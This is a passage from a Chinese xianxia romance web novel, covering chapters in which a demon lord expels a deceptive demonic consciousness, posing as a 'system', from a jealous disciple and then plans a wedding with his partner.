“这倒是,只是我们还是太收敛了,比不得前世,行起事来竟不知天地为何物!” 听着少年直白的话,聂无洄微微一笑。 打了个岔之后,两人感受到对方的心绪逐渐平缓,不约而同地松了口气。 屋中的气氛渐暖。 很快,聂无洄读完了整本书。 屠天霸小嘴叭叭,自动略去了部分让人生气的剧情与台词,给男人简略地讲完了后半部分的原著情节。 着重仙魔大战。 对某个顾姓男子却只字不提。 毕竟无论前生还是今世,聂无洄都只跟他有所牵扯。 没有发生过的事情,说它干嘛呢? 平白给人添堵吗? 他暗藏心疼地亲了几下聂无洄的下颌,小声道:“你不必在意书中的故事,再没有人能操控你我的命运,你不是话本子里的笔墨,你就是我的阿洄…….他声音越来越小。 聂无洄却听得越来越清楚。 渐渐的,两人的面庞愈发靠近。 就在这时。 屠天霸忽然听到一道熟悉的、散发着该死的老人味的嗓音对自己传音道: “小医修,你猜测得不错,金柳衣没这么大的本事,你让我暗中布置的那道追踪魔气的法阵被触发了,速来。” 随即,徐阙报了一个地名。 屠天霸听完,表情古怪。 220、Chapter 220 夜色深沉。 静修苑内,最靠里的一间房。 顾宸辗转反侧,睡得不大安生。 他的额角沁出细密的汗水,一双英气的剑眉不自觉地皱了起来,不知做了什么噩梦,嘴里还喃喃着, “师、师尊……. 他闭着眼,眼睑微微抽动,睫毛翻飞,自然看不到自己的额心上空笼罩着一小团黑雾。 那黑雾探出丝丝缕缕,宛如触须的细线,一个劲儿地往他的眉心里钻,仿佛想要将自己塞进他的脑袋里。 顾宸体内的魔种感知到这一点,正积极地与之呼应,以顾宸的负面情绪为引,构建了一层又一层梦境。 不多时。 待那一团黑雾彻底钻入顾宸的体内,恰巧云海深处传来一声悠长且空灵的仙兽呦声,顾宸猛地睁开眼睛,从梦中惊醒!他翻身坐起来,身下的锦被已被冷汗浸透。 月光顺着窗缝淌下来,在地上凝成一线泠泠的霜,像是一道抹不去的剑影。 顾宸的视线落在那处,声音发冷, “.……是梦吗?” 梦中,天地一片晦暗。 世间生灵在瞬息之间被血雾吞噬,炼化。 唯有一个玄衣男人立在虚空中,浑身凶煞魔气,面容也看不分明,但他怀中的白衣男人却是顾宸再熟悉不过的人。……是师尊。 师尊亦如其他生灵一般,正在被炼化。 意识到这一点之后,顾宸的喉间泛起一股淡淡的铁锈味,慢半拍地伸手去够案头的灵茶。 然而,当顾宸的指尖触到青瓷茶杯外壁的时候,他冷不丁听到叮一声,一道无机质的电子音自他脑内响起—— 【宿主,你好。】顾宸手一抖,茶杯翻倒,在地上砸出一声很清脆的响。他的神情惊讶且警惕,无声问道:“你是什么东西?!” 那道怪声应得极快:【本系统名为气运夺回系统′,经检测,宿主顾宸的气运已被他人夺取,符合绑定条件,特来帮助宿主夺回自己的气运。】闻言,顾宸更惊诧了。 不等他发问,那个自称为“系统 的存在便继续道:【宿主顾宸本该与此世界的天命之子聂无洄相知相恋,却被魔尊屠天霸改变了命运。】 听到这里,顾宸的眉心重重一跳。 【不仅如此,魔尊无爱无德,未来必定为祸人间,还会杀害天命之子聂无洄,也就是宿主的师尊,夺取他的气运……_ 【方才那个梦,便是未来!】 【……】俗话说,一回生,二回熟。 对于这缕逃窜的魔物意识来说,扮演成系统已是轻车熟路。 奈何金柳衣是个废物。 它都将九幽忆煞镜送到她的手上,只需要借她的手驱使魔兵,撼动屠天霸的神魂,摧毁他的个人意识…… 到头来,竟是功败垂成。 好在它早就有所准备,提前炼化了九幽忆煞镜的一部分,果然获得了一道可用的讯息! 虽然不知道金柳衣失败后,九幽忆煞镜是被何人驱动的,但这不妨碍它将那一幕没头没尾的残缺景象描述成未来之事,来哄骗这个身怀心魔种的人。顾宸。 此人的身份很有用。 归清门年轻一代中,当之无愧的大弟子;父亲是归清门掌门,又师承聂无洄…. 他竟对自己的师尊产生了大逆不道的心思。 实在太有趣了! 这正合了魔物意识的意,给了它可乘之机。 果不其然。 顾宸一听到它说梦境乃是未来之景,还说自己才是聂无洄命中注定的伴侣,心神恍惚,一句话脱口而出, “师尊果然是被他哄骗了” 魔物意识模仿着那道无机质的电子声线,继续道:【宿主,屠天霸性情诡谲阴险,天命之子聂无洄现在被他所迷惑,恐怕归清门的清誉、他的性命、整个世界的生死都危在旦夕!】桌案上。 雕花镂空铜炉里的残香突然爆出火星。 顾宸听完气运夺回系统’的一番话,脸色煞白,应道:“掌门亲口对我说过,是师尊亲自为那人作保,岂不是引狼入室……”那是半个月前的事情了。 数日以来,顾宸都在为归清门举办的仙门大比忙碌,除了撞见玄衣少年的那天,他再也没有踏足师尊所在的灵兆峰。 ……许是逃避。 顾宸实在不愿听到师尊亲口对自己表明,他与那个人的关系,所以才揽过诸多事项,让自己不得闲。 因此,顾宸不知自己在见过屠天霸后,心魔种才悄然发芽,映射出他心底最隐秘的愿望,并不断扩大,让他不得安寝。 ——为什么跟师尊在一起的人,不是我? ——不该是这样的! 顾宸的心中无数次冒出这个念头。 半晌。 他放下心中疑虑,问系统,“我该如何让师尊看清那个魔头的真面目?从那个魔头的手中夺回属于我的气运,我的…… “师尊。”听到这话,伪装成系统的魔物意识一喜,恶意全然隐藏在平静无波的电子音之下,【本系统的存在能克制屠天霸的力量,建议宿主前往灵兆峰,帮助天命之子脱困……】呵呵。屠天霸与炼魂鼎融合长达三百余年,它从鼎内脱身不过三年,它最是知道那人的脾性。顾宸爱慕聂无洄,还对他抱有杀意。屠天霸此人对杀意最是敏感,到时候定然克制不住杀戮之心! 只要他杀了顾宸,聂无洄还能原谅他吗? 归清门能放下芥蒂吗? 正道宗门还敢信他吗? 若是被所爱之人背弃,它不信屠天霸的神魂还能如三百年间一般坚定,抵御住鼎内恶意的侵染,毫无破绽! “哐当…!” 魔物意识寄居于顾宸的脑中,见他踉跄着推开门,手背青筋暴起,一路踩着夜风往灵兆峰赶去,不由得暗暗感慨了一声, “狗屁的正道修士,连个魔修都不如。” 说着,它咬牙切齿起来。看来像屠天霸那样一根筋的人,当真是世间罕见!明明身怀毁天灭地的力量,却非要遵循自己那一套刻板的行为守则——若非他人先对自己动手,绝不主动杀无辜之人。路过的野狗都不肯杀。 为了不让鼎内的上古魔气弥散世间,他甚至三百年不曾松懈一刻,还给自己寻了个由头,整日蹲在山洞里,就知道养蘑菇养蘑菇养蘑菇……真是荒天下之大谬! 这还算什么魔修! 这头,顾宸往灵兆峰移动。 另一头。 屠天霸听到徐阙的传音内容,知道那道被追踪道的魔气正往灵兆峰靠近,表情一言难尽。 又像是意料当中。 正如先前徐阙给聂无洄传音,被屠天霸所感知到的那次—— 这回,恢复了修为的聂无洄亦有所察觉。 他动作一顿,半阖的眼眸重新睁开,冲屠天霸递去一个问询的眼神, “是徐阙道友?” 说话时,聂无洄直起上身,温热的呼吸擦着屠天霸的面庞溜走,两人过分亲密的距离随之拉开,旖旎的空气凉了下来。 屠天霸不太高兴地鼓了鼓脸,嗯了一声。 烦死了。 他是不是跟姓徐的人犯冲? 其实屠天霸也不是真的想要跟聂无亲热。 只是现实过去了一瞬,他与聂无洄在九幽忆煞镜中却实打实地经历了一遍那段漫长的时光。 正因如此,屠天霸才分外渴求聂无洄,想要确认他的存在,最好一寸寸地丈量,描摹,直至整颗心安定下来。 反观聂无洄…. 白衣男人端庄肃然,已然看不出先前的意乱失神,一副冷静自持的模样。 屠天霸:这么正经,显得我很不是个人。 迎着聂无洄的视线,他耸了耸鼻子,主动交代道:“之前你在闭关恢复修为,所以我没有知会你…” “在抓金柳衣之前,我悄悄去找了那个死老头,让他提前在我与金柳衣见面的地方布置了一个法阵,以防出现意外。”若非如此,屠天霸也不会直接揪着金柳衣回灵兆峰,着急给聂无洄送礼物。 聂无洄听得一愣。 ……死老头? 聂无洄默了默,心领神会,却还是忍不住问了一句,“你是说徐阙道友吗?” 屠天霸果断点头。 聂无洄:徐阙可比他小多了。 屠天霸却不觉得哪里奇怪,继续交代徐阙方才传音的内容,一双乌黑的眼睛紧盯着聂无洄的面庞,轻声道:“阿……”“我猜,那个被心魔蛊惑的人,很有可能是你那个徒弟。” 闻言,聂无洄神情一顿。与此同时。 屠天霸忽然听到自己脑中响起一声很轻、很轻的电子音,莫名透出一股偷偷摸摸的意味,听起来像是气音, “那个,宿主……” “最后一个任务 “你要不要顺便做一下?” 221、Chapter 221 ……顾宸?” 聂无洄眉头微蹙,有些出乎意料。 此次仙门大比的目的并不单纯,主要是将正道弟子汇聚在一处,便于屠天霸分辨哪个弟子被金柳衣种下了心魔种。 此举还被系统称之为‘钓鱼执法’。 作为东道主,归清门弟子自然是第一批被确认过的人,而顾宸恰巧是屠天霸第一个遇见的归清门弟子。 当时,顾宸的身上还没有异状。……也不能说没有吧。 屠天霸想到那天被自己一两句话气得调头就走的青年,乌黑的眼珠子不着痕迹地转了两圈。 尽管徐阙只说自己发现了魔气踪迹,不知所来何人,但他隐约有一种预感—— 那个人,一定是顾宸。 结合前生今世的记忆,以及书册里的种种情节,屠天霸更加确信一件事。书册是书册,现实是现实。两者不可混为一谈。 然而,从某种意义上来说,原著小说就像是一面镜子,映射出此世界的倒影,有着千丝万缕的联系。 比如,顾宸对自己的师尊生出恋心这件事。 好在屠天霸看完前世记忆,先前因原著小说升起的一腔心头火已经消了大半,对顾宸的暴烈杀意也化解了许多。顶多看他不顺眼。 但看在聂无洄的面子上,屠天霸决定将顾宸视若己出,当成亲徒弟来对待。 为了避免亲徒弟因一丝不合时宜的情丝而道心有损,心魔缠身,屠天霸这个做师公的自然责无旁贷,定要助他将那小小心思摁灭,不让聂无洄为此操心!师徒就是师徒。 纯洁的师徒关系不容僭越! 此时此刻,屠天霸全然忘了自己在前世记忆中看到的——男人生得高大威武,一双肌肉分明的臂膀强硬地圈着人,衔着那人的耳垂,一口一个‘无洄师尊′….他敛起万千思绪,很熟练地揽着聂无洄的腰,温声劝慰道:“你放心,这世间没有人比我更懂心魔!” “你这徒弟年纪不大,修为也不高,心魔最喜欢诱骗这类人了……” 屠天霸顺势拍了拍聂无洄的后腰,继续道:“别担心,你的徒弟就是我的徒弟,一日为师,终身为父,待会儿我将蛊惑人心的坏心魔从孩儿体内取出来,他就没事了!” 聂无洄果然放下心来,神情舒展。 比起外界对屠天霸的忌惮,他比任何人都先一步交付信任。 只不过聂无洄的眉头刚松,眸中就浮现一抹歉意,轻声叹道: “是我闭关太久,疏忽了他,回到宗门后又忙于恢复修为,还未见过顾宸…… 屠天霸立刻接过话头, “当时情况危机,你也是分身乏术,相信他会理解的,再者说不是还有我这个师公在这里照看吗?” 说完,他很慈祥地笑了两声。 聂无洄: …好怪,再看一眼。一般而言,修者成功筑基后,容貌不再发生变化,除非特意施法改变面容。屠天霸却是个例外。作为戮天宗魔尊时,他浑身笼罩着冲天魔气,使得所有见过他的人都看不清他的真实样貌,因此无人知晓魔尊屠天霸生了一张格外稚嫩的脸,一双杏眼大而圆。他的生命仿佛定格在年少时期。 然而,当聂无洄与他双修后,少年凝滞的时间似乎又开始流动了,他体内的魔气在减少,容貌也逐渐变化……原本看上去只有十六七岁的少年,更加接近前世那个英挺的男人了。 尽管如此,屠天霸仍旧年轻。 再者说,聂无洄早就习惯了他不太稳重的言行举止,如今瞧见这人摆出一副老成慈祥的模样,别提多怪异了。 聂无洄沉默,默默移开目光。 他一偏头,就瞥见桌上的书册,当即想到屠天霸所说的机缘与考验。 三道考验,只剩最后一道了。聂无洄不介怀屠天霸依照书册描述,扮演一个对自己怀有觊觎之心的医修,更不会误会他为了获取机缘才跟自己结缘……就算他知道屠天霸在前生今世一事上对自己有所隐瞒,也不曾怀疑过那人的目的。……无非就是,怕他忧心吧。 正如屠天霸挺着胸脯自夸的那般,他确实是一个成熟可靠的好男人,好丈夫。聂无洄喜欢他的活泼跳脱,也为他不为人知的坚韧隐忍而心折,一颗心丢过去,被那人捧在怀里,生怕摔了掉了,呵护备至。 于是,聂无洄将书册递还给屠天霸。他什么都没说。屠天霸却一下子读懂了他的眼神。两人相视片刻,眸光脉脉。 倏然间,屠天霸听到系统发出一道类似于喜极而泣的声音,“宿主,你老婆太上道了吧,主动约你做任务诶。” 咻。 砰。 像是什么东西炸在他脑袋里了。 屠天霸:“ 什么动静? 屠天霸只恨自己没有将那个白团子掐成面饼,咬牙切齿地骂了声, “滚!”系统也应得干脆:“好咧。”真是可恶!煞风景的人未免太多了吧! 屠天霸忽然很想念那个无比静谧的小河谷,以及河谷底下的小木屋与山洞,唯有自己与聂无洄两人,好不快活。哎…… 他忍不住垂下脑袋,抵在聂无洄的颈窝里转悠了几个来回,然后长吸了一口气,仿佛吸人精气的小妖怪。 被吸了好几口的聂无洄:“?” 虽然不知道发生了什么,但聂无洄本能地揉了揉屠天霸的脑袋,将一缕翘起来的头发抚平,然后问起机缘考验之事。 闻言,屠天霸皱了皱鼻子。 起初他不愿完成最后一个任务,是考虑到自身实力问题,除此之外,他也不愿在他人面前与聂无洄亲热。 正好。系统也说了。任务而已,随便做做就好了。 屠天霸仰起脸,唇瓣微微开合,湿热的呼吸喷洒在男人的耳根,“我喜欢你清正自持,却只在我面前展露放荡的姿态……. 顺着他的话,聂无洄骤然忆起此前三年的许多时刻,而最让他印象深刻的一次,是某个阳光明媚的午后。 他倒在花丛中。 少年以鲜花、以热烈,装点着他。 聂无洄羞耻到眼眶通红,不敢抬头看头顶的朗朗晴天,完全想不起来督促少年运转双修心法了。 那天,聂无洄身上全是碾碎的花汁。 当太阳落下。 当月上梢头。 聂无洄被少年裹在柔软熊皮里,听到他问,“嗯?你怎么不说话,不高兴吗?” 聂无洄却无法坦然点头。 他如何能不快乐? 在内心深处,聂无洄忍不住想着,难怪少年从初见时就念叨着双修,隔三差五提一句人间极乐,仿佛向往已久.……确实是人间极乐。 夜色更深了。 当顾宸抵达灵兆峰,神情恍惚地来到小木屋前,远远就望见窗户大敞着,月华普照大地,映出两道朦胧人影。 那两人仿佛完全没有察觉到他的到来。 顾宸却不自觉地停下步子。 他的瞳孔骤缩,嘴唇嗫嚅两下,没有发出声音。 因为顾宸看到,在自己记忆中,男人那张永远端肃清正的面容泛起薄红,冰冷的月霜无法熄灭他眼中的热意,反让他的五官看上去艳得惊心。——师尊主动亲吻了那个人。 意识到这一点的顾宸踉跄着,无意识地后退了两步。他死死扣住腰间佩剑,玉扣嵌入掌心的刺痛远不及眼前画面的万分之一,脑袋里的系统还恰逢其时地说着, “宿主,这原本都属于你!”顾宸忽感喉间泛起腥甜。他莫名恨起了此时的月光,让自己清晰地看见师尊垂落的长睫在那人的面庞投下一道道蝶影。最让他难以面对的是,男人眼中摇曳的波光,竟是淬满了月色的,活生生的情动。……那本该属于他的。 另一头。小木屋内。 当顾宸出现的第一时间,屠天霸就听到系统叮了一声,提醒道:“宿主,当前任务进度为30%,你可以说关键台词了!”说完,系统还飞快地补充一句, “主角只是轻轻啵了你一下,原书攻怎么就一副破大防的样子?” 屠天霸不搭理袍。 他与聂无洄四目相对,下意识地舔了舔唇,彼此心领神会地交换了一个眼神。 下一瞬。 屠天霸便闪身出现在顾宸面前,五指以迅雷不及掩耳之势扣住了青年的前额! 暗红的血雾丝线钻入皮肉,顾宸只觉得疼痛难忍,不由得发出一声低吟,却听到脑中传来另一声更加尖锐的嚎叫, “住手,你要是炼化我,我就立刻毁了这个修士的神魂,聂无洄就永远不会原谅你了!”屠天霸差点就被威胁到了。 奈何他经过三年勤奋双修,对自身与炼魂鼎的掌控力上升了许多,已然今非昔比。 再加上,他获得了前世记忆,不亚于亲身体验过一遭炼化世界。 炼化这小小魔物意识,还不手到擒来? 他倒是淡然自若,听到脑中叫喊的顾宸却心神大震,表情无比骇然。 “系统,你……. 屠天霸听到顾宸这句未尽之语,忍不住挑了挑眉,感慨道:“坏心魔,你可真喜欢伪装成系统来蛊惑他人啊。”系统空间内。 白色光球忍不住点头附和道:“是啊是啊,这么喜欢做系统,怎么不来时空书局打工啊?” 屠天霸心生好奇,精确地炼化着顾宸脑中的魔物意识,由此得知更多讯息。 气运夺回系统? 什么鬼? 很快,屠天霸将原本属于炼魂鼎一部分的魔物意识炼化回收。然后他又如法炮制地删去顾宸脑中关于系统的记忆,以及刚才那个吻。顾宸只觉得有什么东西正在消逝。 他面色苍白,充血的眸子惊骇地望着身前之人,口中连道:“不,不要……”可他只看到了一双乌黑的、泛着血色的杏眼,冰冷且无机质,让人仿佛置身于冰原之中,冷到了骨子里。下一刻。 顾宸听到屠天霸对自己传音道: “你算什么?也敢来坏我的好事?” 原著故事中,下流医修被顾宸撞见情爱现场,脱口而出的惊讶问句,被屠天霸说得毫无感情,甚至暗藏着锋芒。 “当前任务进度为60%。” 222、Chapter 222 这不是顾宸与屠天霸的初遇。 顾宸不会忘记初遇那天——自己急匆匆赶往灵兆峰,却在山径遇到了一个手拎花束的玄衣少年。 他们说,那是师尊的道侣。 少年生了一双圆润的杏眼,偏着脑袋打量自己的时候,表情很灵动,却莫名透出几分耐人寻味。 顾宸感受不出他的修为,只觉得此人看起来不像是一个修士,倒像是个凡间俗世的普通少年。 直到这一刻。 顾宸才发现自己错得离谱。 他被少年扣着前额,浑身动弹不得,只得注视着面前的那双眼。 那双轮廓温润的眼,犹如工笔描摹的丹青妙笔,眼尾微微上挑,像是蘸了人血的狼毫。 瞳孔是乌黑的,很深邃,深处却浮动着血丝织就的网状纹路。 当少年驱动魔气时,那些血丝就如同活物般游走,瞳仁被染成暗红色,充斥着血腥暴力,与他的五官形成极具冲击力的视觉反差。被他所注视的人,会不自觉地产生皮肤被冰针刺入的错觉,仿佛有万干冤魂阴气顺着那道目光钻进骨髓,将其分食殆尽。 此刻,顾宸便产生了这股错觉。他像是手无缚鸡之力的兽,被凶悍嗜血的天敌锁定了身形,无处可逃。疼痛与寒气顺着他的脊椎,齐齐攀上后颈,他几乎能听到自己的喉骨发出一阵咯咯的轻响。 恍惚间,顾宸忽然想起…. 为何整个正道都在忌惮魔尊屠天霸,却在对方久居戮天宗府地,鲜少现身之后,从未想过围剿他,除掉他?是不想吗? ——是不能啊! 不多时。顾宸活生生疼晕了过去。 修士皮糙肉厚,摔在地上连油皮都不会破,屠天霸施施然地收回手,半个手掌都化为枯骨,掌心悬着一团被血雾包裹的东西。正是两次伪装成系统的魔物意识。 它像是一只无头苍蝇四处乱窜,却挣不开血雾的束缚,体形肉眼可见地缩水,逐渐被血雾吞没。屠天霸将它炼化,融入炼魂鼎中。 感受着体内的魔气暴涨了一截,他忍不住小声抱怨了一句,“真是可恶,白白双修了三个月……. 双修可是很辛苦的呀! 若是不乖乖运行双修心法,他还会被男人无情地扎上红绳! 纵使屠天霸因长达三百年的心魔音骚扰而习惯了克制自己,也有些吃不消。 面对心魔,他还能狠狠扇巴掌,可面对聂无洄,他能怎么办? 巴掌只得轻轻扇,还晃得人心旌摇动。 屠天霸忍不住叹了一口气。 他再一抬眼, 就见白衣男人走上前来,一挥手便施了个浮空术,让昏迷的青年躺平了,悬浮于半空中。 “怎么样了?”聂无洄关切地问。 屠天霸丝毫不心虚,很坦然地应道: “放心,他好得不得了,就是疼晕过去了,睡一觉便好了。” 屠天霸顿了顿,补充道: “不过他修为低浅,心魔又寄居于他的脑中,我炼化心魔之时他亦有所感,恐怕从此一见到我,便难以自抑地感到惧怕,将我视作洪水猛兽……”说话间,屠天霸微微仰头望天。 他的侧脸呈45度角,透出几分苍白的忧伤,还发出一声格外沉重的叹息。 “哎↗↗→.……!”屠天霸用尽全身力气,才压住自己想要上扬的嘴角,忍不住暗暗自夸了一句, “屠天霸,难道你真的是个天才?” 他没有撒谎。 除了炼化顾宸脑中的魔物意识,他确实什么都没有做。 只不过,正如他对聂无洄所言,仅此一事,顾宸对他的恐惧已然烙印在神魂的最深处,以至于形成某种下意识的反应。而这正是屠天霸想要的。 老实说,在看完那个让人生气的原著故事后,屠天霸也想过要不要将顾宸杀了,一了百了。 然而,那只是一时冲动。 他很庆幸聂无洄阻止了自己。 当年他与炼魂鼎融合为一之后,深受心魔音的骚扰与蛊惑。为此,屠天霸为自己制定了一套行为准则。 其中一条便是: 人若要杀我,便可反杀之。 除此之外,屠天霸鲜少徒增杀孽。 至于那些死在他掌下的魔修…. 屠天霸也并不是无缘无故动手,而是嗅到了那些人身上的腥臭味道。 他毫不怀疑,但凡自己稍显疲态,或身受重伤,他们便会毫不犹豫地攻上来。 趁他病,要他命。 正因屠天霸在三百年间遵循着自己认定的行为准则,所以他再怎么厌恶顾宸,也不该无故杀人。此乃放纵邪念之举。 屠天霸有种预感,一旦自己开了这个口子,就再也回不去了。所以他只删除了顾宸关乎系统,以及从系统那里得到的原著残片,并没有将‘聂无洄’整个人从他脑中删除,单方面断了他与聂无洄的羁缘。虽然很想这么做,但屠天霸忍住了。 在前世记忆中,他看过时空书局对这个世界做出的残暴行径,又怎么会做出与之相仿的举措呢? 己所不欲,勿施于人。他懂这个道理。 好在世上无难事,只怕有心人,屠天霸想到了另一个应对方法。 以今生为例,他自己为例。 当年他与聂无洄初遇时,整个人饱受心魔音的折磨,需要用尽全力遏制杀意。 在这种情况下,他还是跟聂无洄相爱了。 思及此处,屠天霸暗自感慨了一句, “喱,我可真是断袖天才。”应对方法很简单。 已知:他与聂无洄是一对密不可分的神仙眷侣,绝对不可能分开! 若是顾宸能克服对他的本能恐惧,仍旧对聂无洄抱有恋心,并勇敢追求,那么屠天霸也不怕他向聂无洄表露情意,还会高看他一眼。哼哼。 他的阿洄生得那样漂亮,性子又好,不经意间迷住了别人,是一件再寻常不过的事情了。 反正无论谁喜欢他,他都只喜欢自己! 想着,屠天霸自信地挺起胸膛。 “.…聂无洄陷入沉默。 他看着少年微微上挑的眼尾,笑意藏不住,化作两只小蝴蝶振翅高飞,一路螺旋升天,宛如两个急不可耐的二踢脚。 聂无洄:“ 让顾宸恐惧这件事,让他如此开心吗? 虽然屠天霸没有明说过,但聂无洄怎么能不知道他对顾宸的真实情感? 不过聂无洄只以为他不想自己被弟子分去心神,并未察觉顾宸那个不曾言明的小秘密。 ……罢了。 横竖顾宸只是他的弟子。 他不需要屠天霸爱屋及乌,反倒憋得自己心情不快。 再者说,放眼整个修仙界,也没有哪对师徒会整日待在一起的,到时将两人隔开便好。 聂无洄的神色安定下来。 他瞥了眼悬在半空中的顾宸,见青年的面色苍白如纸,聂无洄抬掌查探了一番他的状况。 并无损伤。 紧接着,聂无洄传音给掌门,让他前来接走顾宸,好生照料。 顾风籍来得很快。 中年男人一身繁重白衣,面容肃然。他揽过顾宸,走前还冲屠天霸点点头,语气诚挚,“多谢屠尊者出手相助。”或许是对聂无洄信赖有加的缘故,顾风籍对屠天霸的忌惮不深。 尤其是当屠天霸抓到金柳衣,通过聂无洄转交给归清门之后,顾风籍隐隐有种将他看作半个归清门人的意思了。屠天霸也很客气。 他又摆出慈祥的神态,笑吟吟地挥了挥手,应道:“掌门客气了,顾宸既是你的亲子,又是无洄的徒弟,也算本长老的半个儿子了……” 顾风籍:“?” 本长老?什么长老? 迎着中年男人稍显惊讶的眼神,屠天霸清了清嗓,补充道:“咳……你也不必称呼我为“尊者,如今我已经入赘归清门,过往种种皆是云烟。”他不稀得当戮天宗的魔尊。 他现在要当归清门的长老,跟聂无洄并肩齐名!好在顾风籍当了多年掌门,瞬间便回过神来,也乐于见到一代魔尊改邪归正,没有发表任何异议。就这样,屠天霸摇身一变,得了一个归清门长老的身份。待顾风籍父子俩的身影消失在云海,他回头望向聂无洄,眸光盛满了碎星,闪闪烁烁,“好了,闲杂人等终于都走了!”月光勾勒出他张牙舞爪的发梢,看得聂无洄心痒痒,手也痒。他忍不住笑了一下, “方才你还跟掌门相谈甚欢,现在他就变成闲杂人等’了?”屠天霸两步上前,牵起聂无洄的手掌落到自己的脑袋上,哼哧哼哧地说: “从九幽忆煞镜出来之后,我便想跟你亲近一番了,好不容易忍到现在,我现在看谁都是闲杂人等!”感受着头顶的温度,以及男人为自己整理头发的温柔动作,他闭着眼说: “阿洄,我没有跟顾掌门开玩笑,除去少数几人,世间大部分人都以为魔尊屠天霸已死.…” “何不让这件事成真呢?” 闻言,聂无洄的动作一顿。 屠天霸还在说, “考验已经进入尾声了,接下来好像该让‘屠医修’也消失了……” “往后,我想以真实姓名面世,”他颔着首,眸子却抬起来,亮晶晶地注视着聂无洄,“与你举办道侣大典,可好?” 他的语气心平气和,还带着几分期待。 聂无洄莫名生出一股酸涩。 他捻起少年鬓边一缕不听话的碎发,将其捋到耳后,轻声应道:“书中的人下手果决无情,我却……” 屠天霸从来不喊疼。 聂无洄恍然忆起自己失忆时,曾疼晕过一次,醒来后,腹中便多了个丹胎。 再后来,少年炼化了他腹中的丹胎。 那段时间,屠天霸嘴上骂骂咧咧,还将他称之为‘娇气包’,却不忘将聂无洄的痛感转移到自己身上。 炼化丹胎时,他全程面不改色,仿佛早就习惯了无时不刻的疼痛,只将其看作寻常小事。 ……可他,真的不会疼吗? 聂无洄想着想着,不由得问出声。 听到问话的屠天霸一下子变了神色,脑中骤然掀起风暴:嗯?怎么突然提到这件陈年往事??该不会是…… 屠天霸沉默半晌,眼珠子转了几圈,小心翼翼地望向聂无洄,有些心虚地问道: “你发现啦?” 223、Chapter 223 迎着男人问询的目光,屠天霸才发现是自己做贼心虚,不打自招了。 他纠结片刻,终究还是选择坦诚交代。 聂无洄听完,简直啼笑皆非,不知说什么才好。 原来屠天霸不知他是有意将丹胎的一缕意识保存在体内,想着日后再了断这道尘缘因果,反倒以为是自己炼化时出了错漏…… “那次是意外,我还是很可靠的!” 见男人沉默,屠天霸的丈夫包袱拎不住了,不愿聂无洄觉得自己外强中干,便绞尽脑汁地回想,企图举例说明。 思来想去。 他忽然双手合掌,发出啪的一声,“过去无数次我都将你清洗得里外洁净,何时有过残留!” “除非是我故意……” 话没说完,聂无洄以迅雷不及掩耳之势捂住他的嘴巴,“好了,我知道了。” 男人神色淡淡,耳根却有些热。 “那确实不是你的问题,我也没有生你的气,你不必为此自责忧心。” 闻言,屠天霸眨了眨眼,放下心来。殊不知聂无洄的心中闪过一道预感。 —因果轮回,皆有定数。 丹胎的基体是屠天霸炼就的,血肉在聂无洄的腹中生长,两人虽不是它在俗世意义上的生身父母,却大差不差。 天道也将认可,两人对它有‘生恩’。 而他与屠天霸皆是境界极高的修士,修仙界难寻敌手,再加上丹胎的求生意念极其强悍…… 聂无洄不认为它会殒命于灵兽蛋中。 冥冥之中,聂无洄觉得它终有一天会回到二人身边,以偿还肉|身之恩。 只是这话就不必对屠天霸说了。 此刻,最深的夜已经过去了。 月影掩藏在飘渺云雾之中,遥远的天际泛起白色微光,其间流淌着一抹淡薄的紫。 黎明将现。 魔物意识已然回收,眼下只剩最后一件要紧事。 两人相视一眼,都知道稍后会发生什么。 屠天霸望着笼罩在迷蒙微光中的白衣男人,忍不住亲了亲他的掌心,有些不舍地道了声,“阿洄,再跟我双修一次吧……” 聂无洄愣了愣,点头应好。 见状,屠天霸径直拉着人往小木屋的方向走,脚步轻快极了,脑袋里全是对未来幸福生活的期盼,一双杏眼微弯,嘴角压不住上翘弧度。 反观聂无洄, 他一想到书中描述的片段,便忍不住抿紧唇,心情如同被雨水打湿的衣摆一般沉重,步子愈发慢,整个人像是被屠天霸拖着走的,踉踉跄跄。 屠天霸察觉到身后之人的抗拒,也慢下步子,回头问道:“怎么了?” 聂无洄反手握住他的手,没有说话。 屠天霸注视他好一会儿,似乎明白了什么,径直搂住男人的腰,手臂微微施力,将其扣入怀中,脸上的笑意带着了然。 “啊,我知道了。” 屠天霸重重啵了一口男人,接着说:“你在担心我,是不是?就像我刚才不想你认为我是个不靠谱的丈夫,你也担心我会因为…而对你感官败坏,亦或是在记忆中留下你对我执剑的模样?”他含糊了三两个音节,随即语气笃定道:“我知道,你只是爱惨了我,不忍伤害我!” 聂无洄定定地望着少年的侧脸,脸上因那个存在感极强的吻而不自觉浮现一抹很淡的笑,湿润的下唇泛着光,莹润极了。 半晌。 他应道:“你真聪明。”屠天霸得意地哼了两声,“那是自然。”聪明的屠天霸已经等不及了。 他稳健地将聂无洄拦腰抱起,然后把人放倒在床床榻上,双手扣住他的肩,问道:“阿洄,前世我炼化了你,你如今回忆起那一幕,会难过、心痛、会觉得介怀吗?”聂无洄恍惚了一瞬。 屠天霸不需要男人的回答。 他俯下|身,凑到聂无洄耳边轻声道:“那时,你笑了……. 屋中寂静。 聂无洄只觉得悬在上空的面孔模糊又清晰,需要奋力眨眼才能看清——看清那人脸上不带一丝阴霾的浅笑,宛如初阳。 下一瞬。 聂无洄感受到少年的指腹在自己的眼尾摩挲了两下,又听他话锋一转,说:“如果你真的觉得下不了手,或是于心有愧……”屠天霸清了清嗓,压低声音,在男人耳边嘀嘀咕咕地说了两句,还用手捏捏他的耳垂,略带期待地确认道:“可以吗?” 聂无洄:“ 这个人似乎总有办法打断他的心绪。 想着,男人唇边的笑意无意识地深刻了几分。 他闭了闭眼,感受到无数细小的银蛇在胸膛血脉中乱窜,教他忍不住主动抬手揽住屠天霸的颈子,将对方往下拉,“可以,你要怎么样都可以——” 屠天霸:“!” 什么?这都可以吗?! 其实他只是开玩笑的啊! 果然,聪明的男人运气不会太差! 倏然间,屠天霸想起了三年间的某些时刻,连忙打断道:“等、等等等一下!” 两人没有顺利贴合。 当聂无洄睁开眼,就见少年红光满面,眸中却写满了警惕之情。他的两只手臂直挺挺地撑着床板,不肯让自己的身体下落。 “在此之前,还有一件要紧事。” 屠天霸表情严肃,很不舍地坐起身,行动迅捷地从袖中翻出一把铜锁往门上挂,“哼,这可不是普通的锁,能抵御他人侵扰……挂完铜锁,他还觉得不够保险,便又在袖子里翻了翻,翻出一个巴掌大的琉璃罩,将其往上一抛,让它将小木屋罩在其中。 “隔绝空间,杜绝传音!” 陆陆续续布置了好几道防线,屠天霸这才满意地点点头,坐回到床边。 他握住男人的手,深情款款道:“放心,再也不会有人来打扰我们了… 